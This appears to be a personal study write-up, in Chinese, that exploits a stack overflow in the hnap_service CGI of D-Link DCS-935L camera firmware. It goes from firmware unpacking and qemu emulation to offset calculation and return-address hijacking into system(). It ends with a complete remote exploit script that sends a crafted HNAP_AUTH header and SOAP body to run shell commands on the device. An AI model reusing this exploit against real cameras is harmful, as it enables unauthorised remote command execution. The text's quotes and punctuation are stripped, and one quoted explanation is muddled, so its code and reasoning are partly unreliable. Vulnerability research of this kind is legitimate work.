IOTPWN学习小记
固件DCS-935L_REVA_FIRMWARE_1.10B010.信息搜寻信息搜寻分为fofa搜寻资产并在网上下载固件包。fofa搜寻资产目的是分析这个固件有没有意义。下载固件包是我们后续展开分析的必要条件。1.binwalk -eM ./ xxxxx.bin 解包之后得到固件文件。2.搜寻可能存在漏洞的目标一般搜索.html.php.aspxfavicon.icowebhttp说明这个设备是以cgi为基础的、web应用程序的设备。3.逆向分析cgi以hnap_service为例直接ida打开文件不大但也不能盲目分析重点关注可能导致栈溢出的函数sprintf strcpy这里就有一个栈溢出。但还要判断可达条件在这个函数中出现。这个函数在main函数中被调用。漏洞函数可达条件也就是说1.REQUEST_METHOD POST2.SOAP_ACTION ! 03.CONTENT_LENGTH ! 0要满足这几个条件才能进入danger函数然后danger函数中显然env可以任意长度然后需要满足漏洞点可达条件1.COOKIE ! 02.HANP_AUTH ! 0就能执行到漏洞点4.通过ida\pwndbg调试检验可达性但是mips指令集无法在x86下直接运行需要用到qemu1. 声明 QEMU 寻找库文件的“根目录”前缀为当前目录.export QEMU_LD_PREFIX$(pwd)2. 进入 shsudo -E qemu-mips-static ./bin/sh然后就可以正常运行了。但是直接运行相当于什么参数都是空的什么条件都没有满足自然什么都不输出。然后开放一个调试端口由于我在ida中进行所以需要-g 0.0.0.0:1234不然还需要进行一次端口转发。提前下好断点准备接入就能进行调试但是不难发现我们很难让程序走到后面原因是getenv是从环境变量中得到数据。我们顺着可达条件点一次设置环境变量果然能走到这里了但继续走还是会报错原因在这里实际上这些输入应该来自于post body但是在cgi模式下来源于stdin./qemu-mips-static -L ../../.. -g 1234 ./hnap_service 1.txt中的1.txt就是stdin需要规范1.txt的内容格式在ai的帮助下写出了1.txt的格式?xml version1.0 encodingutf-8?soap:Envelope xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xmlns:xsdhttp://www.w3.org/2001/XMLSchema xmlns:soaphttp://schemas.xmlsoap.org/soap/envelope/soap:BodySetDeviceSettings xmlnshttp://purenetworks.com/HNAP1/DeviceName1/DeviceName/SetDeviceSettings/soap:Body/soap:Envelope成功走到danger然后export一下HNAP_AUTH成功实现这样就实现了栈溢出至此证明了可达性。5.任意指令执行但是后续依然崩溃退出了原因是下面的这个函数所以我们在HNAP_AUTH的后面的地方加两个个空格防止其报错即可接下来可以写一个pwn脚本写看一下缓冲区的大小计算一下和与返回地址之间的偏移。import os import subprocess import base64 from pwn import * os.chroot(.) os .chdir(/) http_bodyb?xml version1.0 encodingutf-8?soap:Envelope xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xmlns:xsdhttp://www.w3.org/2001/XMLSchema xmlns:soaphttp://schemas.xmlsoap.org/soap/envelope/soap:BodySetDeviceSettings xmlnshttp://purenetworks.com/HNAP1/DeviceName1/DeviceName/SetDeviceSettings/soap:Body/soap:Envelope # ! 溢出点 HNAP_AUTH baaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaal aaaaaaaaaa COOKIE buidaaaa SOAP_ACTION bhttp://purenetworks.com/HNAP1/Login CONTENT_LENGTH str(len(http_body)).encode() REQUEST bPOST subprocess.run( [./qemu-mips-static,-g,1234,/web/cgi-bin/hnap/hnap_service], inputhttp_body, env{ COOKIE: COOKIE, SOAP_ACTION: SOAP_ACTION, CONTENT_LENGTH: CONTENT_LENGTH, REQUEST_METHOD: REQUEST, HNAP_AUTH: HNAP_AUTH } )然后利用cyclic去计算偏移1136然后用这个测试一下HNAP_AUTHba*1136bbbbbba a发现确实去了0x62626262所以返回地址劫持成功到这里我们已经成功验证了栈溢出漏洞具备漏洞点和可达性。下面我们更近一步去利用这个栈溢出漏洞。我们注意到main函数中有一个较为好用的system对应的汇编代码为.text:004033E8 lw $gp, 0x202F8var_202D8($sp).text:004033EC la $t9, system.text:004033F0 jalr $t9 # system.text:004033F4 move $a0, $s0 # commanddelay slot先执行用来设置 system(command) 的参数在MIPS架构中有一个特性会先执行.text:004033F4 move $a0, $s0 # command然后执行.text:004033F0 jalr $t9 # system。即system(a0)原因是 MIPS 有branch delay slot / jump delay slot。jalr后面紧跟的一条指令会在跳转生效前执行。好了那么我们把返回地址控制为0x4033E8但如果这样写在后续调试又有新的问题。原因是\x00导致的输入截断。所以我们要利用“ ”来绕过空格在后续会被处理为\x00。出现报错发现出现了新的报错。我猜测是strtok函数的原因。这里详细问一下ai老师程序memset(haystack, 0, 0x80u);strcpy(haystack, env); // aaa栈溢出漏洞p_dest strtok(haystack, );strcpy(dest, p_dest);src strtok(0, );其中envHNAP_AUTH如果HNAP_AUTH baaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaal0000kaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaal aaaaaaaaaa那么将会回到0x30303030处。如果HNAP_AUTH baaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaalb \x40\x33\xE8bkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaal aaaaaaaaaaa那么会回到0x61616A处。分析一下原因。原因是memset(haystack, 0, 0x80u);strcpy(haystack, env); // aaa栈溢出漏洞p_dest strtok(haystack, );strcpy(dest, p_dest);src strtok(0, );strcpy(dest_, src);1. Case 1 为什么返回0x303030300000在 Case 1 中Payload 形式为[超长Pattern] aal0000kaal... [空格] aaaaaaaaaastrcpy(haystack, env)发生haystack起始于0x64。由于env长度远超 256 字节拷贝不断向高地址蔓延穿过了s__1、dest_、s__2等所有变量最终一头撞进了0x470的Saved RA。因为aal0000kaal这个片段在env中的偏移刚好对齐了Saved RA的位置。所以此时Saved RA被写入了0x30303030即0000。随后的strcpy(dest_, src)发生strtok以空格分割。此时src的内容是空格后面的aaaaaaaaaa共 10 个a。执行strcpy(dest_, src)时从0x264开始写入 10 个字节。由于dest_距离Saved RA0x470还有接近0x20c524字节的遥远距离这 10 个a根本碰不到返回地址。结果返回地址保持haystack写入的值即0x30303030。2. Case 2 为什么突变成了0x0061616Ajaa\x00在 Case 2 中你将中间的0000换成了\x40\x33\xE8只有 3 字节比原来的0000少了 1 字节。就是这少了的 1 个字节引发了蝴蝶效应错位导致strtok失败或行为改变在 MIPS大端序中\x40\x33\xE8可能会被某些字符串函数或环境解析为特殊字符或者因为你减少了 1 个字节导致后面的所有 Pattern 序列在栈中的对齐位置整体向前平移了 1 个字节。dest_溢出接管战场关键在于由于对齐或长度的变化Case 2 在执行到src strtok(0, )时由于前面的修改strtok误将原本属于前半段的 Pattern即包含...haaiiaaijaai...的那段长字符串当成了空格后面的src切割了出来当程序执行strcpy(dest_, src)时dest_起始于0x264。此时的src是一个巨大的、包含...haaiiaaijaai...的超长字符串。拷贝开始后它迅速溢出了dest_0x100字节向高地址冲去。这一次是dest_的溢出数据冲到了0x470的Saved RA位置大端序下的\x00截断魔法当dest_溢出覆盖到Saved RA时字符串中的jaai刚好对准了返回地址。内存写入顺序大端序高位在前Saved RA的第 1 字节 $\leftarrow$j(0x6a)Saved RA的第 2 字节 $\leftarrow$a(0x61)Saved RA的第 3 字节 $\leftarrow$a(0x61)就在要写入第四个字节i的时候可能由于src字符串在这里刚好结束了或者是触发了某种截断strcpy按照标准库规范在末尾自动补上了一个$\text{Null-terminator}$\x00。这个\x00恰好落在了Saved RA的第 4 字节上最终Saved RA处的 4 字节内存变成了6a 61 61 00。在 MIPS 大端序MSB中高位字节在低地址因此这 4 字节被 CPU 读取为一个整型指针时它的值就是0x6a616100或者是由于 3 字节对齐表现为0x0061616A具体取决于读取时的符号扩展或溢出截断。经过调试和尝试HNAP_AUTH b1111111aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqb \x40\x33\xE8成功进入了0x4033e8.有注意到了s0也是cyclic的一部分所以s0也比较好控制。接下来就是哪里有一个任意字符串的问题了我们可以再http_body中塞入一个lshttp_body作为全局变量存储地址固定。http_bodyb?xml version1.0 encodingutf-8?soap:Envelope xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xmlns:xsdhttp://www.w3.org/2001/XMLSchema xmlns:soaphttp://schemas.xmlsoap.org/soap/envelope/soap:BodySetDeviceSettings xmlnshttp://purenetworks.com/HNAP1/DeviceName1/DeviceNamels #/SetDeviceSettings/soap:Body/soap:Envelope直接在gdb-multiarch里search到地址。如果害怕地址有偏差这里提供了一种方法slide即在命令前面加上:;:;:;…… , 冒号和引号交错排列这样对命令的执行没有影响。、相当于汇编中的0x90相当于rop中的retaddr于是我们完成了利用最终的exp_remote.py:import requests from pwn import * import ssl context(log_leveldebug) # http://172.30.92.110/ IP_PORT 192.168.0.1:80 JUMP_TO b \x40\x33\xe8 BSS_ADDR b \x43\xa8\x30 http_content b http_content bPOST /hnap/hnap_service HTTP/1.1\r\n http_body b?xml version1.0 encodingutf-8?soap:Envelope xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xmlns:xsdhttp://www.w3.org/2001/XMLSchema xmlns:soaphttp://schemas.xmlsoap.org/soap/envelope/soap:BodySetDeviceSettings xmlnshttp://192.168.0.1/HNAP1/Action (b:; * 500 bls #) * 10 b/ActionDeviceName1/DeviceName/SetDeviceSettings/soap:Body/soap:Envelope http_header b http_header bHost: IP_PORT.encode() b\r\n http_header bCookie: uidaaaa;\r\n http_header bSOAPAction: http://purenetworks.com/HNAP1/Login\r\n http_header bContent-Length: str(len(http_body)).encode() b\r\n http_header bHNAP_AUTH: b11111111aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaaraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakh b \x43\x24\xA4 baakjaakkaaklaakmaaknaakoaakpaak1 b \x40\x33\xE8 b\r\n http_header b\r\n payload http_content http_header http_body # ctx ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) # ctx.check_hostname False # ctx.verify_mode ssl.CERT_NONE # r remote(IP_PORT.split(:)[0], int(IP_PORT.split(:)[1]), sslTrue, ssl_contextctx) r remote(IP_PORT.split(:)[0], int(IP_PORT.split(:)[1])) r.send(payload) output r.recv() print(output)成功执行了ls或者ls ../